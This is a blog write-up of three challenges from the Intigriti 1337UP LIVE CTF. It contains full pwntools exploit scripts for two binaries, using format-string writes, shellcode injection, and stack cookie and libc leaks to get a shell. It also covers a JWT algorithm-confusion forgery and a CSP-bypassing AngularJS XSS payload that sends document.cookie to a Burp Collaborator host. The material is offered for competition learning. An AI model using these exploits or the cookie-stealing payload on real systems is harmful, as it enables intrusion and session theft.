Intigriti 1337UP LIVE CTF

March 14, 2022

We participated in the Intigriti 1337UP LIVE CTF as team WreckTheLine, in the end our team was formed only by the web players in our team because of the team size limit.

We managed to get first place! I even got a certificate to prove that.

Intigriti1337UPLIVEResult

I solved a lot of challenges, but some were very easy so I'm not going to write about them.

Writeups:

cake - pwn

Format string bug + RWX stack. This is a nice case where we can use pwntools' FmtStr in order to quickly solve the challenge.

from pwn import *
import time

context.clear(arch = 'amd64')

def exec_fmt(payload):
p = process('./cake')
p.sendline(b'2')
p.sendline(payload)
p.sendline(b'3')
p.sendline(b'1')
p.sendline(b'3')
p.sendline(b'1')
p.sendline(b'3')
return p.recvall()

autofmt = FmtStr(exec_fmt)
offset = autofmt.offset

#p = process('./cake')
p = remote('cake.ctf.intigriti.io', 9999)

payload = fmtstr_payload(offset, {0x602018: 0x400A33})

open('payload', 'wb').write(b'2\n'+payload+b'\n3\n')

p.sendline('2')
p.sendline(payload)
p.sendline('3')

p.sendline('2')

#start = 71
#p.sendline(b' '.join(b'%' + str(i).encode() + b'$p' for i in range(start, start + 10)))

# Leak stack value
p.sendline(b'%70$p')
p.sendline('3')

p.recvuntil(b'0x')
r = p.recvline()
stack_addr = int(r,16)

shellcode = asm(shellcraft.sh())

for i in range(0, len(shellcode), 4):
payload = fmtstr_payload(offset, {stack_addr+i: shellcode[i:i+4]})

p.sendline('2')
p.sendline(payload)
p.sendline('3')


payload = fmtstr_payload(offset, {0x602018: stack_addr})
p.sendline('2')
p.sendline(payload)
# p.sendline('3')

p.interactive()

bird - pwn

Simple FSB to leak the stack cookie and libc, then use one_gadget to get a shell

from pwn import *
import time

#sh = process('./bird')
#context.terminal = ['tmux','splitw','-h']

sh = remote('bird.ctf.intigriti.io', 7777)

payload = b'c56500c7ab26a5100d4672cf18835690c56500c7ab26a5100d4672cf18835690 %63$p %59$p'

sh.sendline(payload)

first_leak = sh.recvuntil(b'Did you hear the bird').split(b'c56500c7ab26a5100d4672cf18835690c56500c7ab26a5100d4672cf18835690 ')[1]

libc_start_main = int(first_leak.split(b' ')[0][2:], 16)
stack_cookie = int(first_leak.split(b' ')[1].split(b'\n')[0][2:], 16)

print(hex(libc_start_main))
print(hex(stack_cookie))

main_offset = 0x21BF7

one_gadget = 0x4f432

libc_base = libc_start_main - main_offset

print(hex(libc_base))

og = libc_base + one_gadget

payload = b'A' * 88 + p64(stack_cookie) + p64(0x602070) + p64(og) + b'\x00' * 120

sh.sendline(payload)

"""
gdb.attach(sh, '''
''')
"""


sh.interactive()

ContactAlex - web

First we need to craft a JWT cookie that has the username Alex. As it turns out the source code is vulnerable to this:

https://github.com/silentsignal/rsa_sign2n/tree/release/CVE-2016-10555

So we just get 2 JWTs which are generated by the application and then we can retrieve the Public Key. With that we can trick the JWT parser to use HS256 instead of RS256 and it will use the public key as the key. With https://token.dev/ we can quickly forge a JWT.

Next we have XSS, which should be easy, but the CSP made this harder.

Content-Security-Policy: default-src 'self'; img-src 'self' data:; style-src 'nonce-5eccb9953787c4de8452048da55d8430'; font-src https://fonts.googleapis.com/ https://fonts.gstatic.com/; object-src 'none'; base-uri 'none'; script-src 'self' https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/;

As it turns out, you can bypass CSP if https://cdnjs.cloudflare.com is whitelisted. We can then use Angular in order to get XSS.

Final payload:

<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/..%2f..%2fangular.js/1.6.0/angular.js" /></script>

<body ng-app ng-csp>

<input autofocus ng-focus="$event.path|orderBy:'top.location.href=&#x22;//otlv0l5ql6fm6m1a6lz40uact3zunj.burpcollaborator.net/&#x22;+document.cookie'">

</body>
Twitter GitHub LinkedIn